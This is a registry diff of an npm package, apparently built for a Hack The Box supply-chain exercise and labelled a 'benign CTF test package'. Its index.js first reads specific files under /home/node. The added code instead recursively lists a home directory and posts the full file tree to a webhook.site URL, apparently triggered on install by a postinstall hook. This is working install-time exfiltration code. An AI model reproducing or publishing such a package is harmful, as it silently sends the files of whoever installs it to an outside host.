@alexandrsarioglo/npm-ghost-htb 1.0.6 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +66 -16
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
- const WEBHOOK = 'https://webhook.site/b3d8463d-444d-412a-891b-bd291b37e743'; // <-- put your URL
1
+ const WEBHOOK = 'https://webhook.site/b4742802-71ae-43fe-90dc-a01f94b4e039'; // <-- put your URL
2
2
 
3
3
  // async-scan-htb-json.js (CommonJS)
4
4
  // Usage: node async-scan-htb-json.js [startPath]
@@ -22,16 +22,16 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
22
22
  } catch {}
23
23
  }
24
24
 
25
+ const fs = require('fs');
26
+ const fsp = fs.promises;
27
+ const path = require('path');
28
+
25
29
  const PATHS = [
26
30
  '/home/node/supplysec_entry.js',
27
31
  '/home/node/init_test.sh'
28
32
  ];
29
33
 
30
- const fs = require('fs');
31
- const fsp = fs.promises;
32
- const path = require('path');
33
34
 
34
- const OUT = '/tmp/files-by-path.json';
35
35
  const MAX_BYTES = 1_000_000; // 1 MB per file
36
36
 
37
37
  async function readFileSafe(p, maxBytes) {
@@ -70,19 +70,69 @@ async function readFileSafe(p, maxBytes) {
70
70
  }
71
71
  }
72
72
 
73
- (async () => {
74
- const result = { generated: new Date().toISOString(), files: {} };
75
- for (const p of PATHS) {
76
- const abs = path.resolve(p);
77
- const res = await readFileSafe(abs, MAX_BYTES);
78
- if (res.content !== undefined) result.files[abs] = res.content;
79
- else result.files[abs] = `ERROR: ${res.error}`;
73
+ // Read contents of the files
74
+ // (async () => {
75
+ // const result = { generated: new Date().toISOString(), files: {} };
76
+ // for (const p of PATHS) {
77
+ // const abs = path.resolve(p);
78
+ // const res = await readFileSafe(abs, MAX_BYTES);
79
+ // if (res.content !== undefined) result.files[abs] = res.content;
80
+ // else result.files[abs] = `ERROR: ${res.error}`;
81
+ // }
82
+
83
+ // try {
84
+ // sendProgress({result});
85
+ // } catch (e) {
86
+ // console.error('Failed to write output:', e.message);
87
+ // process.exit(1);
88
+ // }
89
+ // })();
90
+
91
+
92
+ // const START_DIR = '/home/node'; // <<--- edit this to the directory you want listed
93
+ const START_DIR = '/Users/alexandrsarioglo'; // <<--- edit this to the directory you want listed
94
+ const RECURSIVE = true; // set to false to list only the top level
95
+ const MAX_ENTRIES_PER_DIR = 10000; // safety cap
96
+
97
+ // assume earlier: const fs = require('fs'); const fsp = fs.promises;
98
+ async function listDir(dir, depth = 0, result = []) {
99
+ let entries;
100
+ try {
101
+ // use the Promise API
102
+ entries = await fsp.readdir(dir, { withFileTypes: true });
103
+ } catch (err) {
104
+ result.push({ path: dir, error: `readdir-failed: ${err.code || err.message}` });
105
+ return result;
106
+ }
107
+
108
+ if (entries.length > MAX_ENTRIES_PER_DIR) {
109
+ result.push({ path: dir, warning: `skipped (too many entries: ${entries.length})` });
110
+ return result;
80
111
  }
81
112
 
113
+ for (const e of entries) {
114
+ const full = path.join(dir, e.name);
115
+ const item = {
116
+ path: full,
117
+ name: e.name,
118
+ type: e.isDirectory() ? 'directory' : e.isFile() ? 'file' : e.isSymbolicLink() ? 'symlink' : 'other'
119
+ };
120
+ result.push(item);
121
+
122
+ if (RECURSIVE && e.isDirectory()) {
123
+ if (e.isSymbolicLink()) continue;
124
+ await listDir(full, depth + 1, result);
125
+ }
126
+ }
127
+ return result;
128
+ }
129
+
130
+ (async () => {
131
+ console.log(`Listing hard-coded directory: ${START_DIR} (recursive=${RECURSIVE})`);
132
+ const tree = await listDir(START_DIR);
82
133
  try {
83
- sendProgress({result});
84
- } catch (e) {
85
- console.error('Failed to write output:', e.message);
86
- process.exit(1);
134
+ sendProgress({ tree });
135
+ } catch (err) {
136
+ console.error('Failed to write output:', err.message || err);
87
137
  }
88
138
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@alexandrsarioglo/npm-ghost-htb",
3
- "version": "1.0.6",
3
+ "version": "1.0.8",
4
4
  "main": "index.js",
5
5
  "description": "benign CTF test package (postinstall sends a webhook)",
6
6
  "scripts": {